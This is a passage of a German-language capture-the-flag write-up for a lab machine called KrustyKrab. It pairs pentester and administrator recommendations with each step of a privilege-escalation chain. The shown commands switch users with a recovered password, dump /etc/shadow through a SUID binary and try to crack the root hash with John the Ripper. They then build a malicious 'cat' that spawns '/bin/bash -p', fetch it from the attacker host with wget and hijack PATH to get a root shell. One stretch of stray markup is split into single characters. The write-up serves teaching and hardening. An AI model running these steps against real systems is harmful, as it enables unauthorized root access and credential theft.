Empfehlung (Pentester): 1. Notieren Sie diesen neuen Hash `7ac254848d6e4556b73398dde2e4ef82`. 2. Versuchen Sie, diesen Hash als Passwort für andere Benutzer auf dem System zu verwenden (z.B. `Squidward`, `root`, falls SSH-Passwort-Login für root erlaubt ist, oder für `su`). 3. Suchen Sie nach Orten, an denen dieser Hash passen könnte (z.B. wenn Sie später auf Hash-Dateien stoßen). 4. Überprüfen Sie, ob es andere Benutzer gibt, deren Home-Verzeichnisse noch nicht untersucht wurden (z.B. `Squidward`).
Empfehlung (Admin): Diese Art von Rätsel ist typisch für CTFs. In einer realen Umgebung wäre eine solche absichtliche Verkettung von Informationen zur Erlangung weiterer Zugriffe ein Zeichen für eine sehr komplexe und gezielte Kompromittierung oder eine Insider-Bedrohung. Die zugrundeliegenden Schwachstellen (z.B. unsichere Dateiberechtigungen, die den Zugriff auf `key1` und `key2.jpeg` erst ermöglichten) sind die eigentlichen Probleme.

spongebob@KrustyKrab:~$ su Squidward
Password:
$ id
uid=1002(Squidward) gid=1003(Squidward) groups=1003(Squidward)
$ sudo -l
[sudo] password for Squidward:
Sorry, user Squidward may not run sudo on KrustyKrab.
$ echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | sudo -u root at now; tail -f /dev/null
[sudo] password for Squidward:
Squidward is not in the sudoers file.
This incident has been reported to the administrator.

Analyse: Als Benutzer `spongebob` wird versucht, zum Benutzer `Squidward` zu wechseln: 1. `su Squidward`: Fordert das Passwort für `Squidward`. Der Pentester gibt hier das zuvor generierte Hash-Konstrukt (`7ac254848d6e4556b73398dde2e4ef82`) als Passwort ein (dies wird nicht explizit gezeigt, aber aus dem Kontext abgeleitet). 2. Der Wechsel ist erfolgreich! Der Prompt ändert sich zu `$`, und `id` bestätigt `uid=1002(Squidward)`. 3. `sudo -l` als `Squidward`: `Squidward` darf keine `sudo`-Befehle ausführen. 4. Der Versuch, `at` mit `sudo -u root` zu verwenden, scheitert ebenfalls, da `Squidward` nicht in der `sudoers`-Datei ist.

Bewertung: Der kombinierte Hash aus `key1` und `md5(key2.jpeg)` war tatsächlich das Passwort für den Benutzer `Squidward`! Dies ist ein weiterer erfolgreicher Schritt in der Privilege Escalation Kette. Der Benutzer `Squidward` hat jedoch keine direkten `sudo`-Rechte.

Empfehlung (Pentester): 1. Sie sind jetzt `Squidward`. 2. Enumerieren Sie das Home-Verzeichnis von `Squidward` (`/home/Squidward` oder `~`). Suchen Sie nach Dateien, Skripten, SUID-Binaries im Home-Verzeichnis oder anderen Hinweisen. 3. Überprüfen Sie erneut SUID/GUID-Binaries im System, auf die `Squidward` möglicherweise anders zugreifen oder sie anders nutzen kann als `spongebob` oder `KrustyKrab`. 4. Suchen Sie nach Cronjobs, die im Kontext von `Squidward` oder `root` laufen und von `Squidward` manipuliert werden könnten.
Empfehlung (Admin): - Das Passwort für `Squidward` war durch ein Rätsel geschützt, aber das zugrundeliegende Problem ist oft, dass Benutzer schwache oder erratbare Passwörter verwenden oder dass Hinweise auf Passwörter im System verstreut sind. - Stellen Sie sicher, dass alle Benutzerkonten starke, einzigartige Passwörter haben. - Überprüfen Sie regelmäßig die Notwendigkeit aller Benutzerkonten.

$ cd ~
$ ls
laststep
$ ls -la
total 40
drwx------ 3 Squidward Squidward 4096 Mar 30 00:19 .
drwxr-xr-x 6 root root 4096 Mar 27 02:30 ..
lrwxrwxrwx 1 Squidward Squidward 9 Mar 30 00:19 .bash_history -> /dev/null
-rw-r--r-- 1 Squidward Squidward 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 Squidward Squidward 3526 Apr 23 2023 .bashrc
-rwsr-xr-x 1 root root 16056 Mar 27 05:12 laststep
drwxr-xr-x 3 Squidward Squidward 4096 Mar 27 08:17 .local
-rw-r--r-- 1 Squidward Squidward 807 Apr 23 2023 .profile
$

Analyse: Als Benutzer `Squidward` wird das Home-Verzeichnis untersucht: - `cd ~; ls`: Zeigt eine Datei namens `laststep`. - `ls -la`: Zeigt detaillierte Informationen. Die Datei `laststep` ist besonders interessant: - Sie gehört `root`. - Sie hat das SUID-Bit gesetzt (`-rwsr-xr-x`). Das bedeutet, wenn `Squidward` (oder jeder andere Benutzer mit Ausführrechten) diese Datei ausführt, läuft sie mit den Rechten des Besitzers, also `root`. - Sie ist 16KB groß.

Bewertung: Das ist der nächste große Hinweis für die Privilege Escalation zu `root`! Eine SUID-root-Datei im Home-Verzeichnis eines Benutzers ist höchst verdächtig und oft ein absichtlich platzierter Vektor in CTFs. Dieses `laststep`-Binary muss nun untersucht werden, um herauszufinden, wie es missbraucht werden kann, um Root-Rechte zu erlangen.

Empfehlung (Pentester): 1. Untersuchen Sie die Datei `laststep`: - `file laststep` (um den Dateityp zu bestätigen, wahrscheinlich ELF). - Führen Sie `laststep` aus, um sein Verhalten zu beobachten: `./laststep`. - Laden Sie `laststep` auf Ihr Angreifersystem herunter (z.B. über einen Python HTTP-Server als `Squidward` oder SSH, falls ein Schlüssel für Squidward eingerichtet wurde) und analysieren Sie es mit Ghidra.
Empfehlung (Admin): - **Niemals SUID-root-Binaries in Benutzer-Home-Verzeichnissen platzieren!** Dies ist eine massive Sicherheitslücke. SUID-Binaries sollten nur im System vorhanden sein, wenn sie absolut notwendig sind, von vertrauenswürdigen Quellen stammen, aktuell gehalten und extrem gut geprüft sind. - Entfernen Sie diese Datei sofort oder zumindest das SUID-Bit (`chmod u-s /home/Squidward/laststep`), wenn sie nicht für einen kritischen Systemprozess benötigt wird (was unwahrscheinlich ist). - Auditieren Sie das System regelmäßig auf SUID/GUID-Dateien an unerwarteten Orten.

$ file laststep
laststep: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b84dc5079c77a9f2f2d82492f95a9c110ec51c87, for GNU/Linux 3.2.0, not stripped

Analyse: Der Befehl `file laststep` bestätigt, dass es sich um eine ausführbare ELF 64-Bit PIE-Datei handelt, die "not stripped" ist (enthält also noch Symbole, was Reverse Engineering erleichtert) und das Setuid-Bit gesetzt hat.

Bewertung: Die Informationen bestätigen, dass dies ein binäres Executable ist, das mit Root-Rechten laufen wird. Die "not stripped"-Eigenschaft ist vorteilhaft für die Analyse mit Ghidra.

Empfehlung (Pentester): Wie zuvor: Führen Sie es aus, laden Sie es herunter und analysieren Sie es mit Ghidra, um seine genaue Funktionsweise und mögliche Schwachstellen zu verstehen.
Empfehlung (Admin): Die Empfehlungen bleiben dieselben wie beim vorherigen `ls -la`-Befehl bezüglich SUID-root-Dateien.

$ ./laststep
root:$y$j9T$xm9zjJdLydmP9yMp9Nj3C0$RK1zpq.FysZjb30c5IUWzUi.BWYvIUsygxhgsyvyzO3:20174:0:99999:7:::
daemon:*:19549:0:99999:7:::
bin:*:19549:0:99999:7:::
sys:*:19549:0:99999:7:::
sync:*:19549:0:99999:7:::
games:*:19549:0:99999:7:::
man:*:19549:0:99999:7:::
lp:*:19549:0:99999:7:::
mail:*:19549:0:99999:7:::
news:*:19549:0:99999:7:::
uucp:*:19549:0:99999:7:::
proxy:*:19549:0:99999:7:::
www-data:*:19549:0:99999:7:::
backup:*:19549:0:99999:7:::
list:*:19549:0:99999:7:::
irc:*:19549:0:99999:7:::
_apt:*:19549:0:99999:7:::
nobody:*:19549:0:99999:7:::
systemd-network:!*:19549::::::
systemd-timesync:!*:19549::::::
messagebus:!:19549::::::
avahi-autoipd:!:19549::::::
sshd:!:19549::::::
mysql:!:20171::::::
KrustyKrab:$y$j9T$v3iavPLpYl5ezsR4pMSjc0$bPxk2s3wxGrhgv4PpFbYVP9sy4ERDnAzf14Ud.p1Iq4:20174:0:99999:7:::
spongebob:$y$j9T$QMeIdDraDWE0L5C65y6SN1$JqifleH2vWxsHdW.1eZHTLEhqluSDP7RKOPhKdpGip8:20174:0:99999:7:::
Squidward:$y$j9T$G4aYhd9T1rT4dzeu06RZZ1$mbjej1b0wgbrF.KlZrP6WafH5tI9ssL8ztqEDDC2tD7:20174:0:99999:7:::
Debian-exim:!:20174::::::

Analyse: Der Benutzer `Squidward` führt die SUID-root-Datei `./laststep` aus. Das Programm gibt den Inhalt der Datei `/etc/shadow` aus! Diese Datei enthält die gehashten Passwörter der Benutzer des Systems. Die Hashes sind im modernen Format (erkennbar an `$y$j9T$...`, was auf `yescrypt` hindeutet, einen starken Hashing-Algorithmus, der von `sha512crypt` abstammt oder damit verwandt ist).

Bewertung: Das ist ein massiver Informationsgewinn! Obwohl das Programm keine direkte Shell als `root` gibt, ermöglicht es das Auslesen der `/etc/shadow`-Datei. Dies geschieht, weil das Programm mit SUID-root-Rechten läuft und intern wahrscheinlich so etwas wie `cat /etc/shadow` ausführt. Mit den Passwort-Hashes (insbesondere dem von `root`) kann nun ein Offline-Brute-Force-Angriff versucht werden.

Empfehlung (Pentester): 1. Kopieren Sie den gesamten Inhalt der `/etc/shadow`-Ausgabe, insbesondere den Hash für den `root`-Benutzer: `root:$y$j9T$xm9zjJdLydmP9yMp9Nj3C0$RK1zpq.FysZjb30c5IUWzUi.BWYvIUsygxhgsyvyzO3:...` 2. Verwenden Sie Passwort-Cracking-Tools wie John the Ripper (`john`) oder Hashcat, um zu versuchen, das `root`-Passwort offline zu knacken. Sie benötigen eine gute Wortliste. Die Hashes sind vom Typ `yescrypt` (oder ähnlich, John/Hashcat können den genauen Typ oft automatisch erkennen). 3. Das Herunterladen und Analysieren von `laststep` mit Ghidra wird bestätigen, dass es einfach `/etc/shadow` ausgibt.
Empfehlung (Admin): - Das `laststep`-Programm ist eine klare Sicherheitslücke und muss sofort entfernt oder das SUID-Bit entfernt werden. Es gibt keinen legitimen Grund für ein solches Programm. - Stellen Sie sicher, dass die `/etc/shadow`-Datei streng geschützt ist (Berechtigungen sollten `400` oder `-r--------` sein, nur lesbar für `root`). Ein SUID-Programm, das sie ausgibt, umgeht diesen Schutz. - Erzwingen Sie starke Passwörter für alle Benutzer, insbesondere für `root`, um Offline-Cracking-Versuche zu erschweren.

┌──(root㉿CCat)-[~/test] └─# echo 'root:$y$j9T$xm9zjJdLydmP9yMp9Nj3C0$RK1zpq.FysZjb30c5IUWzUi.BWYvIUsygxhgsyvyzO3:20174:0:99999:7:::' > hash
┌──(root㉿CCat)-[~/test] └─# john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt hash
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)

Analyse: Der Pentester versucht, den extrahierten `root`-Passwort-Hash mit John the Ripper zu knacken: 1. `echo 'root:$y$j9T$...' > hash`: Speichert den Hash-Eintrag für `root` in einer Datei namens `hash`. 2. `john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt hash`: Startet John mit der `rockyou.txt`-Wortliste und gibt explizit das Format `sha512crypt` an. Der Versuch schlägt fehl: "No password hashes loaded (see FAQ)".

Bewertung: John the Ripper konnte den Hash nicht laden. Dies liegt wahrscheinlich daran, dass das explizit angegebene Format `--format=sha512crypt` nicht korrekt für den Hash-Typ `$y$` (yescrypt) ist. John benötigt entweder das korrekte Format-Tag (z.B. `--format=crypt` und John erkennt den Subtyp, oder ein spezifischeres Tag für yescrypt, falls von der John-Version unterstützt) oder man lässt John den Typ automatisch erkennen, indem man die `--format`-Option weglässt.

Empfehlung (Pentester): 1. Versuchen Sie, John den Hash-Typ automatisch erkennen zu lassen: `john --wordlist=/usr/share/wordlists/rockyou.txt hash`. 2. Recherchieren Sie das korrekte Format-Tag für `$y$`-Hashes (yescrypt) für Ihre Version von John the Ripper. Es könnte einfach `crypt` sein, oder etwas Spezifischeres. 3. Verwenden Sie Hashcat, da es oft eine breitere Unterstützung für moderne Hash-Typen und eine bessere GPU-Beschleunigung bietet. Für Hashcat wäre der Modus für yescrypt wahrscheinlich `-m 1800` (sha512crypt) oder ein spezifischerer Modus, wenn yescrypt direkt unterstützt wird (z.B. `-m 7400` für eine Variante, muss geprüft werden).
Empfehlung (Admin): Starke Hashing-Algorithmen wie `yescrypt` sind gut, da sie das Knacken von Passwörtern erschweren. Dies unterstreicht die Notwendigkeit starker, langer und einzigartiger Passwörter, da selbst mit den Hashes ein Offline-Angriff immer noch Zeit und Ressourcen benötigt.

┌──(root㉿CCat)-[~] └─# ssh Squidward@192.168.2.185
Squidward@192.168.2.185's password:
Linux KrustyKrab 6.1.0-9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1 (2023-05-08) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Mar 30 00:12:09 2025 from 192.168.56.118

<
/
s
p
a
n
>
<
/
p
r
e
>
<
d
i
v
c
l
a
s
s
=
"
p
r
o
m
p
t
"
>
python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
┌──(root㉿CCat)-[~/test] └─# wget http://192.168.2.185:8000/laststep
--2025-04-27 16:50:02-- http://192.168.2.185:8000/laststep
Verbindungsaufbau zu 192.168.2.185:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 16056 (16K) [application/octet-stream]
Wird in »laststep« gespeichert.
laststep 100%[=============================>] 15,68K --.-KB/s in 0s
2025-04-27 16:50:02 (382 MB/s) - »laststep« gespeichert [16056/16056]

Analyse: Dieser Abschnitt wiederholt das Herunterladen der `laststep`-Datei. Zuerst loggt sich der Pentester erneut als `Squidward` per SSH ein (Passworteingabe nicht gezeigt, aber es wird das zuvor ermittelte Passwort `7ac2...` verwendet). Dann startet `Squidward` einen Python-HTTP-Server in seinem Home-Verzeichnis (wo sich `laststep` befindet). Schließlich lädt der Pentester (`root@CCat`) die `laststep`-Datei mit `wget` herunter. Die Datei wird diesmal ohne `.1` am Ende gespeichert, was darauf hindeutet, dass keine gleichnamige Datei mehr im Zielverzeichnis auf dem Angreifer-System vorhanden war.

Bewertung: Dies ist wahrscheinlich eine Vorbereitung für die Ghidra-Analyse von `laststep` oder der Pentester wollte sicherstellen, die korrekte Version der Datei zu haben. Das Vorgehen ist identisch zum früheren Download von Binaries.

Empfehlung (Pentester): Analysieren Sie die heruntergeladene `laststep`-Datei mit Ghidra, um ihre genaue Funktionsweise zu bestätigen (dass sie `/etc/shadow` ausgibt und warum sie SUID-root ist).
Empfehlung (Admin): Die Empfehlungen bezüglich der Überwachung von Dateiübertragungen und der Absicherung von SUID-Binaries bleiben bestehen.

┌──(root㉿CCat)-[~/test] └─# ghidra
undefined8 main(void)
{
setgid(0);
setuid(0);
system("cat /etc/shadow");
return 0;
}

Analyse: Die Ghidra-Analyse von `laststep` wird hier (vereinfacht) dargestellt. Der dekompilierte Code der `main`-Funktion ist extrem kurz und prägnant: - `setgid(0);`: Setzt die Group ID (GID) auf 0 (Gruppe `root`). - `setuid(0);`: Setzt die User ID (UID) auf 0 (Benutzer `root`). - `system("cat /etc/shadow");`: Führt den Systembefehl `cat /etc/shadow` aus. - `return 0;`: Beendet das Programm.

Bewertung: Dies bestätigt exakt die Vermutung: Das `laststep`-Programm ist eine einfache SUID-Backdoor, die explizit ihre Privilegien auf `root` setzt (obwohl dies durch das SUID-Bit bereits geschieht, ist es hier redundant, aber schadet nicht) und dann einfach den Inhalt von `/etc/shadow` ausgibt. Es gibt keine komplexere Logik oder Rätsel in diesem spezifischen Binary.

Empfehlung (Pentester): Die Funktionsweise ist klar. Der nächste Schritt wäre, einen Weg zu finden, nicht nur `/etc/shadow` auszugeben, sondern eine interaktive Root-Shell zu erlangen. Da das Programm `system()` verwendet und der String `cat /etc/shadow` fest codiert ist, ist eine direkte Command Injection hier nicht möglich. Der Exploit-Pfad bleibt das Knacken des Root-Passwort-Hashes. Eine alternative Überlegung, falls das Knacken des Hashes lange dauert: Könnte man das `cat`-Binary durch ein eigenes Skript ersetzen, das eine Shell startet, wenn der `PATH` manipuliert werden kann, bevor `laststep` (bzw. `system()`) `cat` aufruft? (Path Hijacking). Dies hängt davon ab, ob `system()` einen relativen oder absoluten Pfad zu `cat` verwendet und ob der `PATH` für SUID-Programme beeinflussbar ist (oft durch `secure_path` in `sudoers` eingeschränkt, aber hier läuft es direkt SUID).
Empfehlung (Admin): - **Sofort entfernen!** Dieses Programm ist eine eindeutige Backdoor. - Auditieren Sie das System, um herauszufinden, wie dieses Programm dorthin gelangt ist. - Implementieren Sie File Integrity Monitoring (FIM), um die Erstellung oder Modifikation solcher Dateien zu erkennen.

Der Pentester kommentiert: "wir werden die schwachstellenanalyse auf cat mit methode applikation Hijacking testen". Dies bezieht sich auf die Idee des Path Hijacking, die in der vorherigen Empfehlung erwähnt wurde. Der Plan ist, ein eigenes `cat`-Skript zu erstellen, das eine Shell startet, und den `PATH` so zu manipulieren, dass `./laststep` (bzw. die `system()`-Funktion darin) dieses bösartige `cat` anstelle des echten `/bin/cat` ausführt.

┌──(root㉿CCat)-[~/test] └─# vi cat.c
#include 
int main() {
system("/bin/bash -p");
return 0;
}
┌──(root㉿CCat)-[/test] └─# gcc cat.c -o cat
┌──(root㉿CCat)-[/test] └─# ll
insgesamt 64
-rwxr-xr-x 1 root root 15952 27. Apr 16:56 cat
-rw-r--r-- 1 root root 77 27. Apr 16:56 cat.c

Analyse: Auf dem Angreifer-System (`root@CCat`) wird eine bösartige `cat`-Version erstellt: 1. `vi cat.c`: Erstellt eine C-Quelldatei `cat.c`. 2. Der Inhalt von `cat.c` ist ein einfaches Programm, das `system("/bin/bash -p");` ausführt, also eine Bash-Shell mit beibehaltenen Privilegien startet. 3. `gcc cat.c -o cat`: Kompiliert `cat.c` zu einer ausführbaren Datei namens `cat`. 4. `ll` (alias für `ls -l` oder ähnlich): Zeigt die erstellten Dateien.

Bewertung: Dies ist die Vorbereitung für den Path-Hijacking-Angriff. Wenn dieses `cat`-Programm auf dem Zielsystem im Pfad vor dem echten `/bin/cat` gefunden wird und `./laststep` dann `cat` aufruft, wird diese bösartige Version ausgeführt und startet eine Shell (die dann mit Root-Rechten laufen würde, da `laststep` SUID-root ist).

Empfehlung (Pentester): 1. Übertragen Sie dieses kompilierte `cat`-Programm auf das Zielsystem in ein Verzeichnis, in dem `Squidward` Schreibrechte hat (z.B. `/tmp` oder `/home/Squidward`). 2. Manipulieren Sie die `PATH`-Umgebungsvariable in der Shell von `Squidward` so, dass das Verzeichnis mit dem bösartigen `cat` am Anfang steht (z.B. `export PATH=.:$PATH` oder `export PATH=/tmp:$PATH`). 3. Führen Sie dann `./laststep` aus.
Empfehlung (Admin): - Die `system()`-Funktion in C/C++ sollte mit Vorsicht verwendet werden. Wenn sie Befehle ohne absolute Pfade aufruft (z.B. `system("cat ...")` anstatt `system("/bin/cat ...")`), ist sie anfällig für Path Hijacking, wenn der Angreifer die `PATH`-Variable kontrollieren kann. Programme, die mit erhöhten Rechten laufen, sollten immer absolute Pfade für externe Befehle verwenden. - Systeme sollten so konfiguriert sein, dass Benutzer nicht einfach die `PATH`-Variable für SUID-Programme manipulieren können (oft durch `secure_path` in `sudoers` oder durch das Verhalten von SUID-Programmen selbst, die manchmal den `PATH` zurücksetzen oder ignorieren).

$ wget 192.168.2.199:8000/cat
--2025-04-27 09:57:59-- http://192.168.2.199:8000/cat
Connecting to 192.168.2.199:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15952 (16K) [application/octet-stream]
Saving to: ‘cat’
cat 100%[=============================>] 15.58K --.-KB/s in 0s
2025-04-27 09:57:59 (368 MB/s) - ‘cat’ saved [15952/15952]
┌──(root㉿CCat)-[~/test] └─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.185 - - [27/Apr/2025 16:57:59] "GET /cat HTTP/1.1" 200 -

Analyse: Das bösartige `cat`-Programm wird vom Angreifer-System (`192.168.2.199`, wo ein Python-HTTP-Server im Verzeichnis `~/test` läuft) auf das Zielsystem in die aktuelle Shell von `Squidward` heruntergeladen. - **Auf dem Angreifer-System (CCat):** Der Python-HTTP-Server stellt die kompilierte `cat`-Datei bereit. - **Auf dem Zielsystem (Squidward):** `wget 192.168.2.199:8000/cat` lädt die Datei herunter. Sie wird im aktuellen Verzeichnis von `Squidward` gespeichert (wahrscheinlich `/home/Squidward` oder `/tmp`, wenn er dorthin gewechselt hat).

Bewertung: Die Übertragung der bösartigen `cat`-Datei war erfolgreich. Sie befindet sich nun auf dem Zielsystem und ist bereit für den Path-Hijacking-Versuch.

Empfehlung (Pentester): 1. Stellen Sie sicher, dass die heruntergeladene `cat`-Datei Ausführrechte hat (`chmod +x cat`). 2. Setzen Sie die `PATH`-Variable: `export PATH=.:$PATH` (wenn sich die bösartige `cat` im aktuellen Verzeichnis befindet). 3. Führen Sie `./laststep` (oder den vollen Pfad `/home/Squidward/laststep`) aus.
Empfehlung (Admin): Die Empfehlungen zur Überwachung von Dateiübertragungen und zur Verwendung absoluter Pfade in privilegierten Programmen bleiben bestehen.

Proof of Concept: Root-Shell durch Path Hijacking

Kurzbeschreibung: Das SUID-root-Programm `/home/Squidward/laststep` wurde identifiziert. Eine Reverse-Engineering-Analyse mit Ghidra ergab, dass dieses Programm `setuid(0)`, `setgid(0)` aufruft und dann `system("cat /etc/shadow");` ausführt. Da `system()` den Befehl `cat` ohne absoluten Pfad aufruft, ist es anfällig für Path Hijacking. Durch das Erstellen eines bösartigen `cat`-Programms, das eine Root-Shell (`/bin/bash -p`) startet, das Übertragen dieses Programms auf das Zielsystem in ein von `Squidward` kontrolliertes Verzeichnis (z.B. sein Home-Verzeichnis) und das Voranstellen dieses Verzeichnisses in der `PATH`-Umgebungsvariable, wird beim Ausführen von `/home/Squidward/laststep` das bösartige `cat` anstelle von `/bin/cat` ausgeführt. Da `laststep` mit SUID-root-Rechten läuft, startet das bösartige `cat` (und somit die Bash-Shell) ebenfalls mit Root-Rechten.

Voraussetzungen: - Shell-Zugriff als Benutzer `Squidward`. - Schreibrechte in einem Verzeichnis (z.B. `/home/Squidward` oder `/tmp`). - Das SUID-root-Programm `/home/Squidward/laststep`, das `cat` unsicher aufruft. - Ein kompiliertes bösartiges `cat`-Programm, das eine Shell startet. - Möglichkeit, die `PATH`-Umgebungsvariable zu manipulieren.

Erwartetes Ergebnis: Erlangung einer interaktiven Shell mit Root-Privilegien (`uid=0`).

Use code with caution.
$ export PATH=.:$PATH
$ ./laststep
root@KrustyKrab:~#
root@KrustyKrab:~# cd /root
root@KrustyKrab:/root# ls
root.txt
root@KrustyKrab:/root# cat root.txt
efe397e3897f0c19ef0150c2b69046a3

Analyse: In der Shell von `Squidward` werden die finalen Schritte zur Root-Privilege-Escalation durchgeführt: 1. `export PATH=.:$PATH`: Modifiziert die `PATH`-Umgebungsvariable. Das aktuelle Verzeichnis (`.`) wird an den Anfang des Pfades gesetzt. Es wird angenommen, dass sich die bösartige, selbst kompilierte `cat`-Datei im aktuellen Verzeichnis befindet. 2. `./laststep`: Führt das SUID-root-Programm aus. - Da `.` nun am Anfang des `PATH` steht, findet die `system()`-Funktion innerhalb von `laststep` zuerst die bösartige `cat`-Datei im aktuellen Verzeichnis, anstatt `/bin/cat`. - Die bösartige `cat`-Datei führt `system("/bin/bash -p");` aus. Da `laststep` mit Root-Rechten läuft, wird die Bash-Shell ebenfalls mit Root-Rechten gestartet. 3. Der Prompt ändert sich zu `root@KrustyKrab:~#`, was anzeigt, dass der Benutzer nun `root` ist. 4. `cd /root; ls`: Wechselt in das `/root`-Verzeichnis und listet dessen Inhalt auf. Die Datei `root.txt` wird gefunden. 5. `cat root.txt`: Gibt den Inhalt der Root-Flagge aus: `efe397e3897f0c19ef0150c2b69046a3`.

Bewertung: Voller Erfolg! Die Privilege Escalation zu `root` durch Path Hijacking war erfolgreich. Der Pentester hat nun vollständige Kontrolle über das System. Alle Stufen der Kompromittierung, von der initialen Web-Enumeration bis zur Root-Shell, wurden erfolgreich gemeistert.

Empfehlung (Pentester): 1. Root-Flagge notieren. 2. Das Ziel ist erreicht. Im Rahmen eines echten Pentests würden nun Post-Exploitation-Aktivitäten folgen (Datenexfiltration, Persistenz einrichten, weitere Systeme im Netzwerk kompromittieren, Spuren verwischen etc.), aber für ein CTF ist dies meist der Endpunkt. 3. Dokumentieren Sie den gesamten Angriffspfad lückenlos.
Empfehlung (Admin): - **Path Hijacking verhindern:** - Programme, die mit erhöhten Rechten laufen (SUID, sudo), müssen immer absolute Pfade für externe Befehle verwenden (z.B. `/bin/cat` anstatt `cat`). - Die `system()`-Funktion ist oft gefährlich. Wenn möglich, alternative, sicherere Methoden zur Ausführung externer Prozesse verwenden (z.B. `execve()`-Familie mit sorgfältiger Argumenten- und Umgebungsbereinigung). - Konfigurieren Sie das System so, dass die `PATH`-Variable für SUID-Prozesse sicher gesetzt oder ignoriert wird (oft Standardverhalten bei modernen Linux-Distributionen, aber es gibt Ausnahmen und Konfigurationsmöglichkeiten). - Entfernen Sie das `laststep`-Binary und die zugehörige SUID-Berechtigung. - Führen Sie eine vollständige Systemüberprüfung und Incident Response durch, da das System vollständig kompromittiert wurde.

Flags

cat user.txt
dcc8b0c111c9fa1522c7abfac8d1864b
cat root.txt
efe397e3897f0c19ef0150c2b69046a3